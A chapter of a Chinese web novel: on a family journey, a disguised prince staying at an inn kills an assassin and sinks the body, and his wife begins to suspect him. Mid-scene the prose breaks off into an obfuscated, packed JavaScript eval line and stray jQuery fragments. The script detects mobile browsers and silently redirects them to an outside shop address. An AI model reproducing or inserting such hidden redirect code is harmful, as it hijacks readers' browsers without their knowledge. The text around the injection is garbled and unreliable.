摇摇晃晃的坐了一整日的马车,路上颠簸,一家人脸色苍白,徐冉更是连包包头都蔫吧了。

    临近夜晚,她们在一家客栈歇脚,杨意娅告知她们约莫明日午时便可到达州府。

    “我以后可不想再出远门了,我现下觉得腰酸背痛的。”徐冉像个小老太用肉乎乎的小手捶捶自己的小肚子,因喝了许多水,还发出了咕嘟咕嘟的声响。

    那副力竭的可爱模样引得一家人发笑,徐柠用手包住她的包包头,轻轻扯了扯,调笑道,“我还以为冉姐儿不会累呢。”

    毕竟刚出发时就属她最精神,扯开车帘子小脑袋东望望西看看,给这个捏背给那个捶肩,精力很是充沛,话还很密,一直与她们聊天,没人说话就自说自话。

    “唉。”徐冉小大人似的叹了口气,包包头有根呆毛立起,她背着手一晃一晃,走到了柜台前,又活泼了起来,大声道:“我们先吃饭吧!我快要被饿扁了。”

    杨意娅跟在她的后头,一把将她抱起,手痒的扯了扯她的肉脸,才说道:“掌柜的,店里的好菜都给我们上一份!”随即又回身看了看,心里有数后说道,“再给我们留四间上房!”

    掌柜闻言,便知是个大主顾,笑得牙不见眼,笑眯眯的应道:“好嘞,客官随意坐,稍等片刻,我这就给你们安排下去!菜马上就来!”

    杨意娅轻轻颔首。

    一行人坐在了角落靠窗处,因累了一天,一时无人说话,安安静静的坐着,倒是邻座的两位客人一直滔滔不绝的说着。

    “你今日可有去囤粮?我可是听说下月初有飓风要来,再往后这粮价怕是会涨。”

    “自然是囤了,我买的够我们一家人吃两三个月了,这回可不敢再掉以轻心了。”

    “谁说不是呢,犹记得前几年的那场飓风使得这边的庄稼都坏了,佃农颗粒无收,那年粮价高的惊人,多少人曝尸荒野,易子而食,那惨状叫我永生难忘。”一人感叹的说道。

    “我就盼望飓风可莫要来咱们这儿了。”

    徐姝听了,凑到徐柠耳边悄声说道,“还好大伯母有先见之明,前日听你说了后,她第二日便去买了不少米面粮油囤于家中。”

    徐柠握住徐姝的手,笑着点头,只是笑容略微勉强,不仔细看看不出来,她自那时经历过飓风后,心中对它就有些恐惧。

    心中想着,回去后就让人把家里坏的地方补补、加牢,再做些防范。

    再一会,菜便上了桌,这客栈是镇上最好的,做的吃食自然也是极好的,色香味俱全,光是闻着四处弥漫的香气就令人食指大开。

    特别是被放在最中间的那道窑鸡,听掌柜的说这是他们家最受食客喜爱的一道菜,整只鸡被团的圆滚滚,最外层的鸡皮被烤的金黄,一些部位有些焦,微微呈着棕色,一滴料汁从最顶上慢慢滑落,汇聚到底下的汤汁中,袅袅白烟散出时,香气也随之而来。

    掌柜的唤了个店小二上前帮她们把热乎的鸡分块,许是烤制的时间足够久,只需轻轻一扯,鸡腿便与身体分离,里头汁水四溅在盘中,白嫩嫩的鸡肉透着热气,鸡汁挂在最尾端,最后终是颤颤巍巍的落了下去,融入在底下的料汁里。

    待小二分完后,徐柠随意夹起一块鸡肉,甫一入口,只消轻轻一抿,入味的鸡皮便化在了嘴中,咸香可口,鸡肉嫩滑无比,自身的汁水充沛,一口下去只觉得鲜嫩多汁,回味无穷,再蘸一口店家配的干碟,尝着再不只有咸味,而是含着微微的辣意,此时饮一口果子酒,当是再惬意不过了。

    一顿饭吃的心满意足,徐柠上了楼,而霍向黎亦步亦趋的跟在她身后,丝毫不知走在他后面的徐姝与徐冉正对他指指点点着。

    “我就住这间,余下三间房你们自行安排吧,我先洗漱歇下了。”杨意娅回身对徐柠说道。

    “好。”徐柠莞尔一笑,“晚安。”

    “晚安。”

    徐柠打开了隔壁那间房的门,刚踏进去,似是想起了什么,转身挡住霍向黎前进的步伐,开口道,“现下出门在外,我想与姝姐儿和冉姐儿睡一间房,你便自己住一间吧。”

    霍向黎一愣,反应过来后面色莫名委屈了起来,却还是闷闷回道,“好吧。”却站在门口迟迟不愿走。

    徐姝与徐冉见状,走上前挤开了他,而后微微用力合上了房门,发出砰的响声,差点撞上他的鼻尖,他踌躇一会后才落寞的转身去了隔壁的那间房。

    ——

    是夜,今日夜空的星星被厚重的乌云挡去,夜色微凉,烈风将河面吹的荡起波澜,也敲打在霍向黎房间的窗上,发出扰耳的声响,令他烦不胜烦。

    他躺在床上翻来覆去许久都没有一丝睡意,呈大字躺在床上,双眼一眨不眨的望着顶上,蹙着眉头不知在想些什么。

    忽的,窗户发出吱嘎声,明显是被人打开了!

    霍向黎倏然坐起,眼含警惕,慢慢从床上下来,还未走至窗边,一道黑影便跃了进来。

    他当即眼疾手快的用小臂用力抵住黑衣人的脖颈压在墙上,另一只手迅速握住黑衣人的两只手,不让他有一丝一毫的出手机会。

    那人脸色痛苦,面上涨红,仿佛下一刻就要窒息而亡。

    “说!谁派你来的!”霍向黎面带厉色,低声喝道。

    “属下……属下来迟,还、还请殿下恕罪。”黑衣人尽力吐出一句话。

    “你是兄长派来的?”霍向黎盯着他看了几息,眼中厉色缓缓退去,小臂松了几分,而后问道,“你是暗卫几?我怎的从未见过你。”

    “属下是、是才进暗卫营不久的,殿下两月未归,没见过我也实属正常。”那人松了一口气,继而道。

    霍向黎似乎是信了,松开自己的小臂,让黑衣人得以有一丝喘息的机会。

    然而,当掣肘一松,黑衣人动作极快的伸出手,袖中的袖剑咻一下朝霍向黎射去。

    霍向黎侧身避开,但还是被刮伤了手,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623605|203679||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他没顾上微微的痛感,再次迅速的出手,用力掐住他的脖子,把他带到窗边,一跃而下,黑衣人挣扎未果,砰的落到地上,那一刻他感觉身上的骨头好似都碎裂了,加上无气可进,双眼瞪大的死去了。

    黑衣人死都没想到自己到底哪儿漏了馅,就这么被活活摔死了,他们一行人分头在岭南找了霍向黎许久,一直以为六皇子会与自己人联络,几乎将整个岭南能想到的地方里里外外都翻了个遍,却怎么也没想到他竟龟缩在边陲小镇上,还与人成了婚。

    霍向黎将黑衣人带到了离客栈不远处的河边,在他腿上绑了石头,眼也不眨的将他沉了河,河面涟漪一圈圈荡开,片刻过后又再次归于平静。

    霍向黎走在回去的路上,冷笑一声,也不知道他那个便宜爹上哪找的蠢猪,兄长手下的暗卫可从不会独行,几乎都是两人以上作伴,这样一人出事了其他人还可回去报信,也只有他便宜爹手底下的暗卫才会这么自大了,好认的很。

    从前是因为他身上的伤还未好透,不敢独身远行,而今他的内伤早已恢复的差不多,兄长的人又迟迟未来,他心中不安,此次与妻子一家出门远行也是存了找上岭南州府的联络点。

    但不料兄长的人还没来,皇帝的人就先找了上来,此时,那人的暗卫怕是早已渗入了岭南地界,看来这一趟不会这么容易了,说不准还会让妻子一家陷入困境,不成,他决计不允许她们发生任何意外,需得早些与兄长的人联络上才是。

    他在心中暗暗想道,快步走回客栈,来回不过半刻钟,打开门走进房中,抬眼却见到妻子静静坐在桌边饮茶。

    他动作一顿,紧接着笑着上前坐到她身边,握住她微凉的柔夷,轻声问道:“怎么不睡觉?我还以为你早已歇息了。”

    “你去哪了?”她看着他的凤目,笑着问道,笑容依旧如同往常一般,看不出什么。

    微弱烛火将他们的身影映在墙上,轻轻晃动着,最后一滴蜡泪滴落时,房内最后的一丝光也扑灭了,他们周身处于一片黑暗,只能看到彼此的轮廓。

    “我方才肚子不舒服,去如厕了。”霍向黎面不改色的说道,声线也未有变化,他又接着道,“你是来与我一道歇息的吗?”此刻细听便能听出他话语间的期待。

    徐柠摇头,“我方才听到你房中有动静,还以为你怎么了,不放心便过来看看,原是去如厕了,那便无事了,你早些歇息吧。”

    她抽出手,起身缓声对他道:“晚安。”

    霍向黎压下心中的失望,回道,“那你回去也早些歇息。”

    “嗯。”徐柠应了一声,接着回到了房间里,她没有立即睡下,而是站了一会,抽出袖中的那把匕首,摩挲着上头的纹理。

    忽然忆起霍向黎方才进门时,黑色的衣袖有一处较其他地方颜色较深,她原本没觉着什么,直到闻到他手上淡淡的血腥味。

    她的目光寸寸冷下。

    他果然有问题,她想。